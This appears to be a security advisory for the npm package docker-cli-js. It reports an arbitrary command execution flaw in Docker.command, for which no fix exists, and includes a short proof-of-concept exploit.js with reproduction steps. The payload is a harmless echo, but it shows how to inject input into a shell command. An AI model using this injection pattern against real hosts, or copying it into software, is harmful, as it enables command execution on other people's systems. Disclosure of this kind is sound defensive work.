Arbitrary Code Execution Affecting docker-cli-js package, versions *



    Attack Complexity High
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    EPSS 0.89% (83rd percentile)
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9 critical

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  • published 2 Nov 2021
  • disclosed 23 Aug 2021
  • credit Paul-Emmanuel Raoul of SkypLabs

How to fix?

There is no fixed version for docker-cli-js.


Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var dockerCLI = require('docker-cli-js');
    var DockerOptions = dockerCLI.Options;
    var Docker = dockerCLI.Docker;

    var docker = new Docker();

    var userInput = "echo 'Hello from the container'";

    docker.command(exec container-test bash -c "${userInput}", function (err, data) { console.log('data = ', data); });

  2. In the same directory as exploit.js, run npm install docker-cli-js.

  3. Create a background Docker container named container-test: docker run --name container-test -d ubuntu sleep 1000

  4. Run exploit.js: node exploit.js.

You should see the outputs of both the container and host system.